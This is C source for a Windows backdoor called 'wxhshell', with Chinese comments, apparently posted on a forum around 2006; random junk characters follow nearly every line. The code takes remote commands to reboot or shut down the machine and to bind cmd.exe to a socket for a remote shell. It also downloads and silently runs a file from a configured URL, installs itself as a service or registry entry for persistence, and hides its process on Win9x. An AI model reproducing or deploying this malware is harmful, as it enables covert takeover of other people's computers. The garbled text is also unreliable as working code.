    switch(cmd[0]) { 8&7LF  
  jV;&*4if  
  // 帮助 zZ3,e L  
  case '?': { OQ;DqV  
      send(wsh,msg_ws_cmd,strlen(msg_ws_cmd),0); DK}k||-  
    break; Hc ]/0:  
  } K{%}kUj>  
  // 安装 G,FYj'<!7,  
  case 'i': { #DXC 6f  
    if(Install()) )c b e 4  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); ]j(2FM)#  
    else cor?#  
    send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); > nDx)!I  
    break; ^,]'Ut  
    } }nvH Eo  
  // 卸载 ,[7 1,zs  
  case 'r': { 2$. ubA  
    if(Uninstall()) (30{:o&^  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); ;;pxI5  
    else c^S^"M|  
    send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); oe}nrkmb  
    break; {'4h.PB+r  
    } J@54B  
  // 显示 wxhshell 所在路径 ,3Y~ #{,i  
  case 'p': { gk>-h,>"  
    char svExeFile[MAX_PATH]; 1a;Le8  
    strcpy(svExeFile,"\n\r"); 7^4F,JuJO  
      strcat(svExeFile,ExeFile); 4\H:^U&  
        send(wsh,svExeFile,strlen(svExeFile),0); 2-Y%W(bEzs  
    break; //2G5F;  
    } -x=abyD  
  // 重启 3@kiUbq7Eu  
  case 'b': { *A':^vgk  
    send(wsh,msg_ws_boot,strlen(msg_ws_boot),0); 6q RZ#MC  
    if(Boot(REBOOT)) I8;pMr6  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); |kyxa2F{  
    else { GJ edW   
    closesocket(wsh); ~'2)E/IeV  
    ExitThread(0); :?2+'+%'  
    } n8DWA`[ib  
    break; TMj(y{2  
    } ]X?~Cz/wl  
  // 关机 ^} P|L  
  case 'd': { 2s_shY<=}L  
    send(wsh,msg_ws_poff,strlen(msg_ws_poff),0); dVmI.A'nbp  
    if(Boot(SHUTDOWN)) PsU.dv[  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); 4h\MSTF*  
    else { QijEb  
    closesocket(wsh); $m]~d6  
    ExitThread(0); n*(Vf'k  
    } cVv+,l4 V0  
    break; RbKAB8  
    } Mt(wy%{zK  
  // 获取shell # 8 0DM  
  case 's': { ?sWPx!tU  
    CmdShell(wsh); Xm`jD'G  
    closesocket(wsh); S/Pffal  
    ExitThread(0); HUiW#x%;  
    break; vi')-1Y KM  
  } w'oP{=y[  
  // 退出 ) E.KB6  
  case 'x': { 6*u#^">,<  
    send(wsh,msg_ws_ext,strlen(msg_ws_ext),0); t33/QW r  
    CloseIt(wsh); uF_gfjR[m  
    break; -e_ IDE  
    } 9`yG[OA  
  // 离开 i,=greA]"  
  case 'q': { xa#0y   
    send(wsh,msg_ws_end,strlen(msg_ws_end),0); Z[<rz6%cB  
    closesocket(wsh); ,rVm81-2  
    WSACleanup(); gq~>S1  
    exit(1); Sr Z\]  
    break; !7 "-9n  
        } Ve#VGlI  
  } /_ }xTP"9  
  } 6Ko[[?Lf[  
E5qh]z (  
  // 提示信息 ":EfR`A#  
    if(strlen(cmd)) send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); ]CsF} wr'z  
} Z? u\  
  } ]`)50\pdw  
Mk9'  
  return; pt.0%3  
} 8gwJ%"-K  
 5 fY\0  
// shell模块句柄 JYB"\VV  
int CmdShell(SOCKET sock) n=!]!'h\:  
{ flDe*F^  
STARTUPINFO si; #D~atgR  
ZeroMemory(&si,sizeof(si)); >Vz Gx(7q  
si.dwFlags=STARTF_USESHOWWINDOW|STARTF_USESTDHANDLES; <;< _f U  
si.hStdInput=si.hStdOutput =si.hStdError =(void *)sock; >U.TkB  
PROCESS_INFORMATION ProcessInfo; |3`Sd;^;  
char cmdline[]="cmd"; )/kkvI()l  
CreateProcess(NULL,cmdline,NULL,NULL,1,0,NULL,NULL,&si,&ProcessInfo); +U_> Bo  
  return 0; 0PO'9#  
} G,I[zhX\  
v J9Uw  
// 自身启动模式 c+chwU0W  
int StartFromService(void) t &XH:w&j  
{ )u?pqFH  
typedef struct +X6x CE  
{ ovJ#2_  
  DWORD ExitStatus; m"*j J.MX  
  DWORD PebBaseAddress; |fnP@k  
  DWORD AffinityMask; g((glr)6M  
  DWORD BasePriority; M&o@~z0  
  ULONG UniqueProcessId; aZEi|\VU  
  ULONG InheritedFromUniqueProcessId; MUsF/1  
}   PROCESS_BASIC_INFORMATION; ka? |_(  
vHSX3\(  
PROCNTQSIP NtQueryInformationProcess; fWiefv[&  
C9>tj=yEY  
static ENUMPROCESSMODULES g_pEnumProcessModules = NULL ; Mqc"  
static GETMODULEBASENAME g_pGetModuleBaseName = NULL ; AB<|iJC  
?Iy$'am]L  
  HANDLE             hProcess; _ #]uk&5a  
  PROCESS_BASIC_INFORMATION pbi; ^*(*tS|M  
A.tONPi  
  HINSTANCE hInst = LoadLibraryA("PSAPI.DLL"); lj0"2@z3"E  
  if(NULL == hInst ) return 0; [mX/]31  
}9yAYZ0q{b  
  g_pEnumProcessModules = (ENUMPROCESSMODULES)GetProcAddress(hInst ,"EnumProcessModules"); 1sx@Nvlb  
  g_pGetModuleBaseName = (GETMODULEBASENAME)GetProcAddress(hInst, "GetModuleBaseNameA"); ^]:w5\DG  
  NtQueryInformationProcess = (PROCNTQSIP)GetProcAddress(GetModuleHandle("ntdll"), "NtQueryInformationProcess"); LdxrS5  
`F5iZWW1  
  if (!NtQueryInformationProcess) return 0; . U|irDO  
nI4Kuz`dF  
  hProcess = OpenProcess(PROCESS_QUERY_INFORMATION,FALSE,GetCurrentProcessId()); R!IODXP=  
  if(!hProcess) return 0; IGz92&y  
"`]G>,r_  
  if(NtQueryInformationProcess( hProcess, 0, (PVOID)&pbi, sizeof(PROCESS_BASIC_INFORMATION), NULL)) return 0; ) *Mr{`  
|hms'n0  
  CloseHandle(hProcess); K s 8  
G?D7R/0)  
hProcess = OpenProcess(PROCESS_QUERY_INFORMATION | PROCESS_VM_READ, FALSE, pbi.InheritedFromUniqueProcessId); m?cC0(6  
if(hProcess==NULL) return 0; c ;_ T  
z%-Yz- G9  
HMODULE hMod; N>qOiw[  
char procName[255]; a9S0glbwf  
unsigned long cbNeeded; :{@&5KQ8)  
%xZYIY Kf  
if(g_pEnumProcessModules(hProcess, &hMod, sizeof(hMod), &cbNeeded)) g_pGetModuleBaseName(hProcess, hMod, procName, sizeof(procName)); BUT{}2+K  
2@K D '^(  
  CloseHandle(hProcess); _h|rH   
*ue- x!"c  
if(strstr(procName,"services")) return 1; // 以服务启动 /Y$UJt  
eF+:w:\h  
  return 0; // 注册表启动 n,D~ whZx  
} C "XvspJ  
G|eY$5!i  
// 主模块 rMRM*`Q2  
int StartWxhshell(LPSTR lpCmdLine) ^<X+t&!z  
{ a+A^njk  
  SOCKET wsl; +oa\'.~?  
BOOL val=TRUE; ,#&\1Vxf  
  int port=0; KwGk8$ U  
  struct sockaddr_in door; gB/4ro8  
f P'qUN  
  if(wscfg.ws_autoins) Install(); 7u[U%yd  
Y_m/? [:  
port=atoi(lpCmdLine); A&EVzmj-+X  
Cm@e^l!  
if(port<=0) port=wscfg.ws_port; DM {r<?V  
W4n;U-Hb  
  WSADATA data; {A2EGUmF2  
  if(WSAStartup(MAKEWORD(2,2),&data)!=0) return 1; NIZ N}DnP  
%Jy0?WN  
  if((wsl = WSASocket(AF_INET, SOCK_STREAM, IPPROTO_TCP,NULL,0,0)) == INVALID_SOCKET) return 1;   ]WlE9z7:8  
setsockopt(wsl,SOL_SOCKET,SO_REUSEADDR,(char *)&val,sizeof(val)); /d;C)%$  
  door.sin_family = AF_INET; `4^-@}  
  door.sin_addr.s_addr = inet_addr("127.0.0.1"); J2A+x\{<  
  door.sin_port = htons(port); k#mQLv  
1>hY!nG h  
  if(bind(wsl, (const struct sockaddr *) &door,sizeof(door)) == INVALID_SOCKET) { X(s HFVU+  
closesocket(wsl); Hy4c{Ij  
return 1; kA3nhBH  
} 5(BB`)  
q@K8,=/.#  
  if(listen(wsl,2) == INVALID_SOCKET) { !RX\">z  
closesocket(wsl); k?r -%oJ7  
return 1; n^F:p*)Q%  
} :)f/>-   
  Wxhshell(wsl); 8!8 yA  
  WSACleanup(); *sNZ.Y:.  
yB][ 3?lv  
return 0; [:M:6JJ  
U caLi&  
} M"QT(u+  
&!/E&e$_  
// 以NT服务方式启动 "rhU2jT=c  
VOID WINAPI NTServiceMain( DWORD dwArgc, LPSTR *lpszArgv ) A4 ;EtW+F  
{ Axb,{X[6g  
DWORD   status = 0; R9=K/  
  DWORD   specificError = 0xfffffff; 0\fV'JDOR  
k?(x}IZdG  
  serviceStatus.dwServiceType     = SERVICE_WIN32; yCznRd}J  
  serviceStatus.dwCurrentState     = SERVICE_START_PENDING; 5=< y%VF  
  serviceStatus.dwControlsAccepted   = SERVICE_ACCEPT_STOP | SERVICE_ACCEPT_PAUSE_CONTINUE; @9-/p^n1  
  serviceStatus.dwWin32ExitCode     = 0; 2.''Nt6|  
  serviceStatus.dwServiceSpecificExitCode = 0; ]O%wZIp\P  
  serviceStatus.dwCheckPoint       = 0; E=N44[`.G  
  serviceStatus.dwWaitHint       = 0; $P<T`3Jg  
dnRS$$9#  
  hServiceStatusHandle = RegisterServiceCtrlHandler(wscfg.ws_svcname, NTServiceHandler); 2R}9wDP  
  if (hServiceStatusHandle==0) return; `re9-HM  
*Uq1 q  
status = GetLastError(); 0 #*M'C#  
  if (status!=NO_ERROR) m417=wf  
{ DH7B4P  
    serviceStatus.dwCurrentState     = SERVICE_STOPPED; b*C\0D  
    serviceStatus.dwCheckPoint       = 0; _i@{:v  
    serviceStatus.dwWaitHint       = 0; f P|rD[  
    serviceStatus.dwWin32ExitCode     = status; F_28q15~:  
    serviceStatus.dwServiceSpecificExitCode = specificError; "J51\8G@@  
    SetServiceStatus(hServiceStatusHandle, &serviceStatus); ly,3,ok  
    return; UO3QwZ4j;  
  } bbGSh|u+P  
luA k$Es  
  serviceStatus.dwCurrentState     = SERVICE_RUNNING; [!^Q_O  
  serviceStatus.dwCheckPoint       = 0; 8sMDe'  
  serviceStatus.dwWaitHint       = 0; +7yirp~`K  
  if(SetServiceStatus(hServiceStatusHandle, &serviceStatus)) StartWxhshell(""); y2"PKBK\_  
} 9  Vn  
ZUDdLJ  
// 处理NT服务事件,比如:启动、停止 2t9JiH  
VOID WINAPI NTServiceHandler(DWORD fdwControl) U5rcI6  
{ +|Tz<\.C  
switch(fdwControl) F.9SyB$  
{ /-Saz29f^Q  
case SERVICE_CONTROL_STOP: FE}!I  
  serviceStatus.dwWin32ExitCode = 0; >j5,Z]  
  serviceStatus.dwCurrentState = SERVICE_STOPPED; h8R3N?S3#  
  serviceStatus.dwCheckPoint   = 0; N(*Xjy+PX  
  serviceStatus.dwWaitHint     = 0; N0Y$QWr_$  
  { XctSw  
  SetServiceStatus(hServiceStatusHandle, &serviceStatus); . X  (^E  
  } x3./  
  return; Cxn<#Kf\-<  
case SERVICE_CONTROL_PAUSE: FG-v71!h#  
  serviceStatus.dwCurrentState = SERVICE_PAUSED; q_0So}  
  break; ;3\oU$'  
case SERVICE_CONTROL_CONTINUE: YH_mWN\Wu  
  serviceStatus.dwCurrentState = SERVICE_RUNNING; +sN'Y/-  
  break; aT9+] Ig  
case SERVICE_CONTROL_INTERROGATE: qN5 ru2  
  break; ^]x%z*6  
}; <Mdyz!  
  SetServiceStatus(hServiceStatusHandle, &serviceStatus); g43j-[j)  
} 0Dx,)C  
 z]/;?  
// 标准应用程序主函数 j41)X'MgJ  
int WINAPI WinMain(HINSTANCE hInstance, HINSTANCE hPrevInstance, LPSTR lpCmdLine, INT nCmdShow) M4%u~Z:4h+  
{ uc0 1{t0,  
A`|Z2  
// 获取操作系统版本 s& INcjC  
OsIsNt=GetOsVer(); X# 625h  
GetModuleFileName(NULL,ExeFile,MAX_PATH); 7(ni_|$|  
u%TZ),ny-  
  // 从命令行安装 <F>^ffwGH-  
  if(strpbrk(lpCmdLine,"iI")) Install(); Iq76JJuCb  
hW^*b:v{  
  // 下载执行文件 YY! Lv:.7>  
if(wscfg.ws_downexe) { VnZRsFY<^  
if(URLDownloadToFile(0, wscfg.ws_fileurl, wscfg.ws_filenam, 0, 0)==S_OK) ].=~C"s,a  
  WinExec(wscfg.ws_filenam,SW_HIDE); #3b_ #+,  
} sj;n1t}$S  
Qs38VlR_m  
if(!OsIsNt) { {ylY"FA  
// 如果时win9x,隐藏进程并且设置为注册表启动 }01c7/DRP<  
HideProc(); _*tU.x|DP  
StartWxhshell(lpCmdLine); K-_XdJ\  
} 74[wZDW|(  
else S JseP_-  
  if(StartFromService()) e(e_p#  
  // 以服务方式启动 x.5!F2$  
  StartServiceCtrlDispatcher(DispatchTable); LB(I^  
else \&{a/e2:S  
  // 普通方式启动 M2pe*z  
  StartWxhshell(lpCmdLine); >i6sJ)2?>  
oFO)28Btv  
return 0; r JvtE}x1  
}
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只看该作者 1 发表于: 2006-10-10
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